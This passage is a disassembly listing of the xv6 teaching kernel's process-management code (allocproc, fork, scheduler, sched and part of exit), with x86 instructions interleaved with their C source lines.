80103926: 83 c4 10 add $0x10,%esp
80103929: eb 10 jmp 8010393b <allocproc+0x2b>
8010392b: 90 nop
8010392c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80103930: 83 c3 7c add $0x7c,%ebx
80103933: 81 fb 14 4f 11 80 cmp $0x80114f14,%ebx
80103939: 73 75 jae 801039b0 <allocproc+0xa0>
if(p->state == UNUSED)
8010393b: 8b 43 0c mov 0xc(%ebx),%eax
8010393e: 85 c0 test %eax,%eax
80103940: 75 ee jne 80103930 <allocproc+0x20>
release(&ptable.lock);
return 0;
found:
p->state = EMBRYO;
p->pid = nextpid++;
80103942: a1 04 a0 10 80 mov 0x8010a004,%eax
release(&ptable.lock);
80103947: 83 ec 0c sub $0xc,%esp
p->state = EMBRYO;
8010394a: c7 43 0c 01 00 00 00 movl $0x1,0xc(%ebx)
p->pid = nextpid++;
80103951: 8d 50 01 lea 0x1(%eax),%edx
80103954: 89 43 10 mov %eax,0x10(%ebx)
release(&ptable.lock);
80103957: 68 e0 2f 11 80 push $0x80112fe0
p->pid = nextpid++;
8010395c: 89 15 04 a0 10 80 mov %edx,0x8010a004
release(&ptable.lock);
80103962: e8 a9 0d 00 00 call 80104710 <release>
// Allocate kernel stack.
if((p->kstack = kalloc()) == 0){
80103967: e8 64 ee ff ff call 801027d0 <kalloc>
8010396c: 83 c4 10 add $0x10,%esp
8010396f: 85 c0 test %eax,%eax
80103971: 89 43 08 mov %eax,0x8(%ebx)
80103974: 74 53 je 801039c9 <allocproc+0xb9>
return 0;
}
sp = p->kstack + KSTACKSIZE;
// Leave room for trap frame.
sp -= sizeof *p->tf;
80103976: 8d 90 b4 0f 00 00 lea 0xfb4(%eax),%edx
sp -= 4;
*(uint*)sp = (uint)trapret;
sp -= sizeof *p->context;
p->context = (struct context*)sp;
memset(p->context, 0, sizeof *p->context);
8010397c: 83 ec 04 sub $0x4,%esp
sp -= sizeof *p->context;
8010397f: 05 9c 0f 00 00 add $0xf9c,%eax
sp -= sizeof *p->tf;
80103984: 89 53 18 mov %edx,0x18(%ebx)
*(uint*)sp = (uint)trapret;
80103987: c7 40 14 52 59 10 80 movl $0x80105952,0x14(%eax)
p->context = (struct context*)sp;
8010398e: 89 43 1c mov %eax,0x1c(%ebx)
memset(p->context, 0, sizeof *p->context);
80103991: 6a 14 push $0x14
80103993: 6a 00 push $0x0
80103995: 50 push %eax
80103996: e8 c5 0d 00 00 call 80104760 <memset>
p->context->eip = (uint)forkret;
8010399b: 8b 43 1c mov 0x1c(%ebx),%eax
return p;
8010399e: 83 c4 10 add $0x10,%esp
p->context->eip = (uint)forkret;
801039a1: c7 40 10 e0 39 10 80 movl $0x801039e0,0x10(%eax)
}
801039a8: 89 d8 mov %ebx,%eax
801039aa: 8b 5d fc mov -0x4(%ebp),%ebx
801039ad: c9 leave
801039ae: c3 ret
801039af: 90 nop
release(&ptable.lock);
801039b0: 83 ec 0c sub $0xc,%esp
return 0;
801039b3: 31 db xor %ebx,%ebx
release(&ptable.lock);
801039b5: 68 e0 2f 11 80 push $0x80112fe0
801039ba: e8 51 0d 00 00 call 80104710 <release>
}
801039bf: 89 d8 mov %ebx,%eax
return 0;
801039c1: 83 c4 10 add $0x10,%esp
}
801039c4: 8b 5d fc mov -0x4(%ebp),%ebx
801039c7: c9 leave
801039c8: c3 ret
p->state = UNUSED;
801039c9: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
return 0;
801039d0: 31 db xor %ebx,%ebx
801039d2: eb d4 jmp 801039a8 <allocproc+0x98>
801039d4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801039da: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801039e0 <forkret>:
// A fork child's very first scheduling by scheduler()
// will swtch here. "Return" to user space.
void
forkret(void)
{
801039e0: 55 push %ebp
801039e1: 89 e5 mov %esp,%ebp
801039e3: 83 ec 14 sub $0x14,%esp
static int first = 1;
// Still holding ptable.lock from scheduler.
release(&ptable.lock);
801039e6: 68 e0 2f 11 80 push $0x80112fe0
801039eb: e8 20 0d 00 00 call 80104710 <release>
if (first) {
801039f0: a1 00 a0 10 80 mov 0x8010a000,%eax
801039f5: 83 c4 10 add $0x10,%esp
801039f8: 85 c0 test %eax,%eax
801039fa: 75 04 jne 80103a00 <forkret+0x20>
iinit(ROOTDEV);
initlog(ROOTDEV);
}
// Return to "caller", actually trapret (see allocproc).
}
801039fc: c9 leave
801039fd: c3 ret
801039fe: 66 90 xchg %ax,%ax
iinit(ROOTDEV);
80103a00: 83 ec 0c sub $0xc,%esp
first = 0;
80103a03: c7 05 00 a0 10 80 00 movl $0x0,0x8010a000
80103a0a: 00 00 00
iinit(ROOTDEV);
80103a0d: 6a 01 push $0x1
80103a0f: e8 7c dd ff ff call 80101790 <iinit>
initlog(ROOTDEV);
80103a14: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80103a1b: e8 f0 f3 ff ff call 80102e10 <initlog>
80103a20: 83 c4 10 add $0x10,%esp
}
80103a23: c9 leave
80103a24: c3 ret
80103a25: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103a29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103a30 <pinit>:
{
80103a30: 55 push %ebp
80103a31: 89 e5 mov %esp,%ebp
80103a33: 83 ec 10 sub $0x10,%esp
initlock(&ptable.lock, "ptable");
80103a36: 68 15 77 10 80 push $0x80107715
80103a3b: 68 e0 2f 11 80 push $0x80112fe0
80103a40: e8 cb 0a 00 00 call 80104510 <initlock>
}
80103a45: 83 c4 10 add $0x10,%esp
80103a48: c9 leave
80103a49: c3 ret
80103a4a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103a50 <mycpu>:
{
80103a50: 55 push %ebp
80103a51: 89 e5 mov %esp,%ebp
80103a53: 56 push %esi
80103a54: 53 push %ebx
asm volatile("pushfl; popl %0" : "=r" (eflags));
80103a55: 9c pushf
80103a56: 58 pop %eax
if(readeflags()&FL_IF)
80103a57: f6 c4 02 test $0x2,%ah
80103a5a: 75 5e jne 80103aba <mycpu+0x6a>
apicid = lapicid();
80103a5c: e8 df ef ff ff call 80102a40 <lapicid>
for (i = 0; i < ncpu; ++i) {
80103a61: 8b 35 c0 2f 11 80 mov 0x80112fc0,%esi
80103a67: 85 f6 test %esi,%esi
80103a69: 7e 42 jle 80103aad <mycpu+0x5d>
if (cpus[i].apicid == apicid)
80103a6b: 0f b6 15 40 2a 11 80 movzbl 0x80112a40,%edx
80103a72: 39 d0 cmp %edx,%eax
80103a74: 74 30 je 80103aa6 <mycpu+0x56>
80103a76: b9 f0 2a 11 80 mov $0x80112af0,%ecx
for (i = 0; i < ncpu; ++i) {
80103a7b: 31 d2 xor %edx,%edx
80103a7d: 8d 76 00 lea 0x0(%esi),%esi
80103a80: 83 c2 01 add $0x1,%edx
80103a83: 39 f2 cmp %esi,%edx
80103a85: 74 26 je 80103aad <mycpu+0x5d>
if (cpus[i].apicid == apicid)
80103a87: 0f b6 19 movzbl (%ecx),%ebx
80103a8a: 81 c1 b0 00 00 00 add $0xb0,%ecx
80103a90: 39 c3 cmp %eax,%ebx
80103a92: 75 ec jne 80103a80 <mycpu+0x30>
80103a94: 69 c2 b0 00 00 00 imul $0xb0,%edx,%eax
80103a9a: 05 40 2a 11 80 add $0x80112a40,%eax
}
80103a9f: 8d 65 f8 lea -0x8(%ebp),%esp
80103aa2: 5b pop %ebx
80103aa3: 5e pop %esi
80103aa4: 5d pop %ebp
80103aa5: c3 ret
if (cpus[i].apicid == apicid)
80103aa6: b8 40 2a 11 80 mov $0x80112a40,%eax
return &cpus[i];
80103aab: eb f2 jmp 80103a9f <mycpu+0x4f>
panic("unknown apicid\n");
80103aad: 83 ec 0c sub $0xc,%esp
80103ab0: 68 1c 77 10 80 push $0x8010771c
80103ab5: e8 d6 c8 ff ff call 80100390 <panic>
panic("mycpu called with interrupts enabled\n");
80103aba: 83 ec 0c sub $0xc,%esp
80103abd: 68 f8 77 10 80 push $0x801077f8
80103ac2: e8 c9 c8 ff ff call 80100390 <panic>
80103ac7: 89 f6 mov %esi,%esi
80103ac9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103ad0 <cpuid>:
cpuid() {
80103ad0: 55 push %ebp
80103ad1: 89 e5 mov %esp,%ebp
80103ad3: 83 ec 08 sub $0x8,%esp
return mycpu()-cpus;
80103ad6: e8 75 ff ff ff call 80103a50 <mycpu>
80103adb: 2d 40 2a 11 80 sub $0x80112a40,%eax
}
80103ae0: c9 leave
return mycpu()-cpus;
80103ae1: c1 f8 04 sar $0x4,%eax
80103ae4: 69 c0 a3 8b 2e ba imul $0xba2e8ba3,%eax,%eax
}
80103aea: c3 ret
80103aeb: 90 nop
80103aec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103af0 <myproc>:
myproc(void) {
80103af0: 55 push %ebp
80103af1: 89 e5 mov %esp,%ebp
80103af3: 53 push %ebx
80103af4: 83 ec 04 sub $0x4,%esp
pushcli();
80103af7: e8 84 0a 00 00 call 80104580 <pushcli>
c = mycpu();
80103afc: e8 4f ff ff ff call 80103a50 <mycpu>
p = c->proc;
80103b01: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx
popcli();
80103b07: e8 b4 0a 00 00 call 801045c0 <popcli>
}
80103b0c: 83 c4 04 add $0x4,%esp
80103b0f: 89 d8 mov %ebx,%eax
80103b11: 5b pop %ebx
80103b12: 5d pop %ebp
80103b13: c3 ret
80103b14: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103b1a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80103b20 <userinit>:
{
80103b20: 55 push %ebp
80103b21: 89 e5 mov %esp,%ebp
80103b23: 53 push %ebx
80103b24: 83 ec 04 sub $0x4,%esp
p = allocproc();
80103b27: e8 e4 fd ff ff call 80103910 <allocproc>
80103b2c: 89 c3 mov %eax,%ebx
initproc = p;
80103b2e: a3 f8 a5 10 80 mov %eax,0x8010a5f8
if((p->pgdir = setupkvm()) == 0)
80103b33: e8 e8 33 00 00 call 80106f20 <setupkvm>
80103b38: 85 c0 test %eax,%eax
80103b3a: 89 43 04 mov %eax,0x4(%ebx)
80103b3d: 0f 84 bd 00 00 00 je 80103c00 <userinit+0xe0>
inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size);
80103b43: 83 ec 04 sub $0x4,%esp
80103b46: 68 2c 00 00 00 push $0x2c
80103b4b: 68 60 a4 10 80 push $0x8010a460
80103b50: 50 push %eax
80103b51: e8 aa 30 00 00 call 80106c00 <inituvm>
memset(p->tf, 0, sizeof(*p->tf));
80103b56: 83 c4 0c add $0xc,%esp
p->sz = PGSIZE;
80103b59: c7 03 00 10 00 00 movl $0x1000,(%ebx)
memset(p->tf, 0, sizeof(*p->tf));
80103b5f: 6a 4c push $0x4c
80103b61: 6a 00 push $0x0
80103b63: ff 73 18 pushl 0x18(%ebx)
80103b66: e8 f5 0b 00 00 call 80104760 <memset>
p->tf->cs = (SEG_UCODE << 3) | DPL_USER;
80103b6b: 8b 43 18 mov 0x18(%ebx),%eax
80103b6e: ba 1b 00 00 00 mov $0x1b,%edx
p->tf->ds = (SEG_UDATA << 3) | DPL_USER;
80103b73: b9 23 00 00 00 mov $0x23,%ecx
safestrcpy(p->name, "initcode", sizeof(p->name));
80103b78: 83 c4 0c add $0xc,%esp
p->tf->cs = (SEG_UCODE << 3) | DPL_USER;
80103b7b: 66 89 50 3c mov %dx,0x3c(%eax)
p->tf->ds = (SEG_UDATA << 3) | DPL_USER;
80103b7f: 8b 43 18 mov 0x18(%ebx),%eax
80103b82: 66 89 48 2c mov %cx,0x2c(%eax)
p->tf->es = p->tf->ds;
80103b86: 8b 43 18 mov 0x18(%ebx),%eax
80103b89: 0f b7 50 2c movzwl 0x2c(%eax),%edx
80103b8d: 66 89 50 28 mov %dx,0x28(%eax)
p->tf->ss = p->tf->ds;
80103b91: 8b 43 18 mov 0x18(%ebx),%eax
80103b94: 0f b7 50 2c movzwl 0x2c(%eax),%edx
80103b98: 66 89 50 48 mov %dx,0x48(%eax)
p->tf->eflags = FL_IF;
80103b9c: 8b 43 18 mov 0x18(%ebx),%eax
80103b9f: c7 40 40 00 02 00 00 movl $0x200,0x40(%eax)
p->tf->esp = PGSIZE;
80103ba6: 8b 43 18 mov 0x18(%ebx),%eax
80103ba9: c7 40 44 00 10 00 00 movl $0x1000,0x44(%eax)
p->tf->eip = 0; // beginning of initcode.S
80103bb0: 8b 43 18 mov 0x18(%ebx),%eax
80103bb3: c7 40 38 00 00 00 00 movl $0x0,0x38(%eax)
safestrcpy(p->name, "initcode", sizeof(p->name));
80103bba: 8d 43 6c lea 0x6c(%ebx),%eax
80103bbd: 6a 10 push $0x10
80103bbf: 68 45 77 10 80 push $0x80107745
80103bc4: 50 push %eax
80103bc5: e8 76 0d 00 00 call 80104940 <safestrcpy>
p->cwd = namei("/");
80103bca: c7 04 24 4e 77 10 80 movl $0x8010774e,(%esp)
80103bd1: e8 1a e6 ff ff call 801021f0 <namei>
80103bd6: 89 43 68 mov %eax,0x68(%ebx)
acquire(&ptable.lock);
80103bd9: c7 04 24 e0 2f 11 80 movl $0x80112fe0,(%esp)
80103be0: e8 6b 0a 00 00 call 80104650 <acquire>
p->state = RUNNABLE;
80103be5: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx)
release(&ptable.lock);
80103bec: c7 04 24 e0 2f 11 80 movl $0x80112fe0,(%esp)
80103bf3: e8 18 0b 00 00 call 80104710 <release>
}
80103bf8: 83 c4 10 add $0x10,%esp
80103bfb: 8b 5d fc mov -0x4(%ebp),%ebx
80103bfe: c9 leave
80103bff: c3 ret
panic("userinit: out of memory?");
80103c00: 83 ec 0c sub $0xc,%esp
80103c03: 68 2c 77 10 80 push $0x8010772c
80103c08: e8 83 c7 ff ff call 80100390 <panic>
80103c0d: 8d 76 00 lea 0x0(%esi),%esi
80103c10 <growproc>:
{
80103c10: 55 push %ebp
80103c11: 89 e5 mov %esp,%ebp
80103c13: 56 push %esi
80103c14: 53 push %ebx
80103c15: 8b 75 08 mov 0x8(%ebp),%esi
pushcli();
80103c18: e8 63 09 00 00 call 80104580 <pushcli>
c = mycpu();
80103c1d: e8 2e fe ff ff call 80103a50 <mycpu>
p = c->proc;
80103c22: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx
popcli();
80103c28: e8 93 09 00 00 call 801045c0 <popcli>
if(n > 0){
80103c2d: 83 fe 00 cmp $0x0,%esi
sz = curproc->sz;
80103c30: 8b 03 mov (%ebx),%eax
if(n > 0){
80103c32: 7f 1c jg 80103c50 <growproc+0x40>
} else if(n < 0){
80103c34: 75 3a jne 80103c70 <growproc+0x60>
switchuvm(curproc);
80103c36: 83 ec 0c sub $0xc,%esp
curproc->sz = sz;
80103c39: 89 03 mov %eax,(%ebx)
switchuvm(curproc);
80103c3b: 53 push %ebx
80103c3c: e8 af 2e 00 00 call 80106af0 <switchuvm>
return 0;
80103c41: 83 c4 10 add $0x10,%esp
80103c44: 31 c0 xor %eax,%eax
}
80103c46: 8d 65 f8 lea -0x8(%ebp),%esp
80103c49: 5b pop %ebx
80103c4a: 5e pop %esi
80103c4b: 5d pop %ebp
80103c4c: c3 ret
80103c4d: 8d 76 00 lea 0x0(%esi),%esi
if((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0)
80103c50: 83 ec 04 sub $0x4,%esp
80103c53: 01 c6 add %eax,%esi
80103c55: 56 push %esi
80103c56: 50 push %eax
80103c57: ff 73 04 pushl 0x4(%ebx)
80103c5a: e8 e1 30 00 00 call 80106d40 <allocuvm>
80103c5f: 83 c4 10 add $0x10,%esp
80103c62: 85 c0 test %eax,%eax
80103c64: 75 d0 jne 80103c36 <growproc+0x26>
return -1;
80103c66: b8 ff ff ff ff mov $0xffffffff,%eax
80103c6b: eb d9 jmp 80103c46 <growproc+0x36>
80103c6d: 8d 76 00 lea 0x0(%esi),%esi
if((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0)
80103c70: 83 ec 04 sub $0x4,%esp
80103c73: 01 c6 add %eax,%esi
80103c75: 56 push %esi
80103c76: 50 push %eax
80103c77: ff 73 04 pushl 0x4(%ebx)
80103c7a: e8 f1 31 00 00 call 80106e70 <deallocuvm>
80103c7f: 83 c4 10 add $0x10,%esp
80103c82: 85 c0 test %eax,%eax
80103c84: 75 b0 jne 80103c36 <growproc+0x26>
80103c86: eb de jmp 80103c66 <growproc+0x56>
80103c88: 90 nop
80103c89: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103c90 <fork>:
{
80103c90: 55 push %ebp
80103c91: 89 e5 mov %esp,%ebp
80103c93: 57 push %edi
80103c94: 56 push %esi
80103c95: 53 push %ebx
80103c96: 83 ec 1c sub $0x1c,%esp
pushcli();
80103c99: e8 e2 08 00 00 call 80104580 <pushcli>
c = mycpu();
80103c9e: e8 ad fd ff ff call 80103a50 <mycpu>
p = c->proc;
80103ca3: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx
popcli();
80103ca9: e8 12 09 00 00 call 801045c0 <popcli>
if((np = allocproc()) == 0){
80103cae: e8 5d fc ff ff call 80103910 <allocproc>
80103cb3: 85 c0 test %eax,%eax
80103cb5: 89 45 e4 mov %eax,-0x1c(%ebp)
80103cb8: 0f 84 b7 00 00 00 je 80103d75 <fork+0xe5>
if((np->pgdir = copyuvm(curproc->pgdir, curproc->sz)) == 0){
80103cbe: 83 ec 08 sub $0x8,%esp
80103cc1: ff 33 pushl (%ebx)
80103cc3: ff 73 04 pushl 0x4(%ebx)
80103cc6: 89 c7 mov %eax,%edi
80103cc8: e8 23 33 00 00 call 80106ff0 <copyuvm>
80103ccd: 83 c4 10 add $0x10,%esp
80103cd0: 85 c0 test %eax,%eax
80103cd2: 89 47 04 mov %eax,0x4(%edi)
80103cd5: 0f 84 a1 00 00 00 je 80103d7c <fork+0xec>
np->sz = curproc->sz;
80103cdb: 8b 03 mov (%ebx),%eax
80103cdd: 8b 4d e4 mov -0x1c(%ebp),%ecx
80103ce0: 89 01 mov %eax,(%ecx)
np->parent = curproc;
80103ce2: 89 59 14 mov %ebx,0x14(%ecx)
80103ce5: 89 c8 mov %ecx,%eax
*np->tf = *curproc->tf;
80103ce7: 8b 79 18 mov 0x18(%ecx),%edi
80103cea: 8b 73 18 mov 0x18(%ebx),%esi
80103ced: b9 13 00 00 00 mov $0x13,%ecx
80103cf2: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
for(i = 0; i < NOFILE; i++)
80103cf4: 31 f6 xor %esi,%esi
np->tf->eax = 0;
80103cf6: 8b 40 18 mov 0x18(%eax),%eax
80103cf9: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax)
if(curproc->ofile[i])
80103d00: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax
80103d04: 85 c0 test %eax,%eax
80103d06: 74 13 je 80103d1b <fork+0x8b>
np->ofile[i] = filedup(curproc->ofile[i]);
80103d08: 83 ec 0c sub $0xc,%esp
80103d0b: 50 push %eax
80103d0c: e8 df d3 ff ff call 801010f0 <filedup>
80103d11: 8b 55 e4 mov -0x1c(%ebp),%edx
80103d14: 83 c4 10 add $0x10,%esp
80103d17: 89 44 b2 28 mov %eax,0x28(%edx,%esi,4)
for(i = 0; i < NOFILE; i++)
80103d1b: 83 c6 01 add $0x1,%esi
80103d1e: 83 fe 10 cmp $0x10,%esi
80103d21: 75 dd jne 80103d00 <fork+0x70>
np->cwd = idup(curproc->cwd);
80103d23: 83 ec 0c sub $0xc,%esp
80103d26: ff 73 68 pushl 0x68(%ebx)
safestrcpy(np->name, curproc->name, sizeof(curproc->name));
80103d29: 83 c3 6c add $0x6c,%ebx
np->cwd = idup(curproc->cwd);
80103d2c: e8 2f dc ff ff call 80101960 <idup>
80103d31: 8b 7d e4 mov -0x1c(%ebp),%edi
safestrcpy(np->name, curproc->name, sizeof(curproc->name));
80103d34: 83 c4 0c add $0xc,%esp
np->cwd = idup(curproc->cwd);
80103d37: 89 47 68 mov %eax,0x68(%edi)
safestrcpy(np->name, curproc->name, sizeof(curproc->name));
80103d3a: 8d 47 6c lea 0x6c(%edi),%eax
80103d3d: 6a 10 push $0x10
80103d3f: 53 push %ebx
80103d40: 50 push %eax
80103d41: e8 fa 0b 00 00 call 80104940 <safestrcpy>
pid = np->pid;
80103d46: 8b 5f 10 mov 0x10(%edi),%ebx
acquire(&ptable.lock);
80103d49: c7 04 24 e0 2f 11 80 movl $0x80112fe0,(%esp)
80103d50: e8 fb 08 00 00 call 80104650 <acquire>
np->state = RUNNABLE;
80103d55: c7 47 0c 03 00 00 00 movl $0x3,0xc(%edi)
release(&ptable.lock);
80103d5c: c7 04 24 e0 2f 11 80 movl $0x80112fe0,(%esp)
80103d63: e8 a8 09 00 00 call 80104710 <release>
return pid;
80103d68: 83 c4 10 add $0x10,%esp
}
80103d6b: 8d 65 f4 lea -0xc(%ebp),%esp
80103d6e: 89 d8 mov %ebx,%eax
80103d70: 5b pop %ebx
80103d71: 5e pop %esi
80103d72: 5f pop %edi
80103d73: 5d pop %ebp
80103d74: c3 ret
return -1;
80103d75: bb ff ff ff ff mov $0xffffffff,%ebx
80103d7a: eb ef jmp 80103d6b <fork+0xdb>
kfree(np->kstack);
80103d7c: 8b 5d e4 mov -0x1c(%ebp),%ebx
80103d7f: 83 ec 0c sub $0xc,%esp
80103d82: ff 73 08 pushl 0x8(%ebx)
80103d85: e8 96 e8 ff ff call 80102620 <kfree>
np->kstack = 0;
80103d8a: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx)
np->state = UNUSED;
80103d91: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
return -1;
80103d98: 83 c4 10 add $0x10,%esp
80103d9b: bb ff ff ff ff mov $0xffffffff,%ebx
80103da0: eb c9 jmp 80103d6b <fork+0xdb>
80103da2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80103da9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103db0 <scheduler>:
{
80103db0: 55 push %ebp
80103db1: 89 e5 mov %esp,%ebp
80103db3: 57 push %edi
80103db4: 56 push %esi
80103db5: 53 push %ebx
80103db6: 83 ec 0c sub $0xc,%esp
struct cpu *c = mycpu();
80103db9: e8 92 fc ff ff call 80103a50 <mycpu>
80103dbe: 8d 78 04 lea 0x4(%eax),%edi
80103dc1: 89 c6 mov %eax,%esi
c->proc = 0;
80103dc3: c7 80 ac 00 00 00 00 movl $0x0,0xac(%eax)
80103dca: 00 00 00
80103dcd: 8d 76 00 lea 0x0(%esi),%esi
asm volatile("sti");
80103dd0: fb sti
acquire(&ptable.lock);
80103dd1: 83 ec 0c sub $0xc,%esp
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103dd4: bb 14 30 11 80 mov $0x80113014,%ebx
acquire(&ptable.lock);
80103dd9: 68 e0 2f 11 80 push $0x80112fe0
80103dde: e8 6d 08 00 00 call 80104650 <acquire>
80103de3: 83 c4 10 add $0x10,%esp
80103de6: 8d 76 00 lea 0x0(%esi),%esi
80103de9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
if(p->state != RUNNABLE)
80103df0: 83 7b 0c 03 cmpl $0x3,0xc(%ebx)
80103df4: 75 33 jne 80103e29 <scheduler+0x79>
switchuvm(p);
80103df6: 83 ec 0c sub $0xc,%esp
c->proc = p;
80103df9: 89 9e ac 00 00 00 mov %ebx,0xac(%esi)
switchuvm(p);
80103dff: 53 push %ebx
80103e00: e8 eb 2c 00 00 call 80106af0 <switchuvm>
swtch(&(c->scheduler), p->context);
80103e05: 58 pop %eax
80103e06: 5a pop %edx
80103e07: ff 73 1c pushl 0x1c(%ebx)
80103e0a: 57 push %edi
p->state = RUNNING;
80103e0b: c7 43 0c 04 00 00 00 movl $0x4,0xc(%ebx)
swtch(&(c->scheduler), p->context);
80103e12: e8 84 0b 00 00 call 8010499b <swtch>
switchkvm();
80103e17: e8 b4 2c 00 00 call 80106ad0 <switchkvm>
c->proc = 0;
80103e1c: c7 86 ac 00 00 00 00 movl $0x0,0xac(%esi)
80103e23: 00 00 00
80103e26: 83 c4 10 add $0x10,%esp
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103e29: 83 c3 7c add $0x7c,%ebx
80103e2c: 81 fb 14 4f 11 80 cmp $0x80114f14,%ebx
80103e32: 72 bc jb 80103df0 <scheduler+0x40>
release(&ptable.lock);
80103e34: 83 ec 0c sub $0xc,%esp
80103e37: 68 e0 2f 11 80 push $0x80112fe0
80103e3c: e8 cf 08 00 00 call 80104710 <release>
sti();
80103e41: 83 c4 10 add $0x10,%esp
80103e44: eb 8a jmp 80103dd0 <scheduler+0x20>
80103e46: 8d 76 00 lea 0x0(%esi),%esi
80103e49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103e50 <sched>:
{
80103e50: 55 push %ebp
80103e51: 89 e5 mov %esp,%ebp
80103e53: 56 push %esi
80103e54: 53 push %ebx
pushcli();
80103e55: e8 26 07 00 00 call 80104580 <pushcli>
c = mycpu();
80103e5a: e8 f1 fb ff ff call 80103a50 <mycpu>
p = c->proc;
80103e5f: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx
popcli();
80103e65: e8 56 07 00 00 call 801045c0 <popcli>
if(!holding(&ptable.lock))
80103e6a: 83 ec 0c sub $0xc,%esp
80103e6d: 68 e0 2f 11 80 push $0x80112fe0
80103e72: e8 a9 07 00 00 call 80104620 <holding>
80103e77: 83 c4 10 add $0x10,%esp
80103e7a: 85 c0 test %eax,%eax
80103e7c: 74 4f je 80103ecd <sched+0x7d>
if(mycpu()->ncli != 1)
80103e7e: e8 cd fb ff ff call 80103a50 <mycpu>
80103e83: 83 b8 a4 00 00 00 01 cmpl $0x1,0xa4(%eax)
80103e8a: 75 68 jne 80103ef4 <sched+0xa4>
if(p->state == RUNNING)
80103e8c: 83 7b 0c 04 cmpl $0x4,0xc(%ebx)
80103e90: 74 55 je 80103ee7 <sched+0x97>
asm volatile("pushfl; popl %0" : "=r" (eflags));
80103e92: 9c pushf
80103e93: 58 pop %eax
if(readeflags()&FL_IF)
80103e94: f6 c4 02 test $0x2,%ah
80103e97: 75 41 jne 80103eda <sched+0x8a>
intena = mycpu()->intena;
80103e99: e8 b2 fb ff ff call 80103a50 <mycpu>
swtch(&p->context, mycpu()->scheduler);
80103e9e: 83 c3 1c add $0x1c,%ebx
intena = mycpu()->intena;
80103ea1: 8b b0 a8 00 00 00 mov 0xa8(%eax),%esi
swtch(&p->context, mycpu()->scheduler);
80103ea7: e8 a4 fb ff ff call 80103a50 <mycpu>
80103eac: 83 ec 08 sub $0x8,%esp
80103eaf: ff 70 04 pushl 0x4(%eax)
80103eb2: 53 push %ebx
80103eb3: e8 e3 0a 00 00 call 8010499b <swtch>
mycpu()->intena = intena;
80103eb8: e8 93 fb ff ff call 80103a50 <mycpu>
}
80103ebd: 83 c4 10 add $0x10,%esp
mycpu()->intena = intena;
80103ec0: 89 b0 a8 00 00 00 mov %esi,0xa8(%eax)
}
80103ec6: 8d 65 f8 lea -0x8(%ebp),%esp
80103ec9: 5b pop %ebx
80103eca: 5e pop %esi
80103ecb: 5d pop %ebp
80103ecc: c3 ret
panic("sched ptable.lock");
80103ecd: 83 ec 0c sub $0xc,%esp
80103ed0: 68 50 77 10 80 push $0x80107750
80103ed5: e8 b6 c4 ff ff call 80100390 <panic>
panic("sched interruptible");
80103eda: 83 ec 0c sub $0xc,%esp
80103edd: 68 7c 77 10 80 push $0x8010777c
80103ee2: e8 a9 c4 ff ff call 80100390 <panic>
panic("sched running");
80103ee7: 83 ec 0c sub $0xc,%esp
80103eea: 68 6e 77 10 80 push $0x8010776e
80103eef: e8 9c c4 ff ff call 80100390 <panic>
panic("sched locks");
80103ef4: 83 ec 0c sub $0xc,%esp
80103ef7: 68 62 77 10 80 push $0x80107762
80103efc: e8 8f c4 ff ff call 80100390 <panic>
80103f01: eb 0d jmp 80103f10 <exit>
80103f03: 90 nop
80103f04: 90 nop
80103f05: 90 nop
80103f06: 90 nop
80103f07: 90 nop
80103f08: 90 nop
80103f09: 90 nop
80103f0a: 90 nop
80103f0b: 90 nop
80103f0c: 90 nop
80103f0d: 90 nop
80103f0e: 90 nop
80103f0f: 90 nop
80103f10 <exit>:
{
80103f10: 55 push %ebp
80103f11: 89 e5 mov %esp,%ebp
80103f13: 57 push %edi
80103f14: 56 push %esi
80103f15: 53 push %ebx
80103f16: 83 ec 0c sub $0xc,%esp
pushcli();
80103f19: e8 62 06 00 00 call 80104580 <pushcli>
c = mycpu();
80103f1e: e8 2d fb ff ff call 80103a50 <mycpu>
p = c->proc;
80103f23: 8b b0 ac 00 00 00 mov 0xac(%eax),%esi
popcli();
80103f29: e8 92 06 00 00 call 801045c0 <popcli>
if(curproc == initproc)
80103f2e: 39 35 f8 a5 10 80 cmp %esi,0x8010a5f8
80103f34: 8d 5e 28 lea 0x28(%esi),%ebx
80103f37: 8d 7e 68 lea 0x68(%esi),%edi
80103f3a: 0f 84 e7 00 00 00 je 80104027 <exit+0x117>
if(curproc->ofile[fd]){
80103f40: 8b 03 mov (%ebx),%eax
80103f42: 85 c0 test %eax,%eax
80103f44: 74 12 je 80103f58 <exit+0x48>
fileclose(curproc->ofile[fd]);
80103f46: 83 ec 0c sub $0xc,%esp
80103f49: 50 push %eax
80103f4a: e8 f1 d1 ff ff call 80101140 <fileclose>
curproc->ofile[fd] = 0;
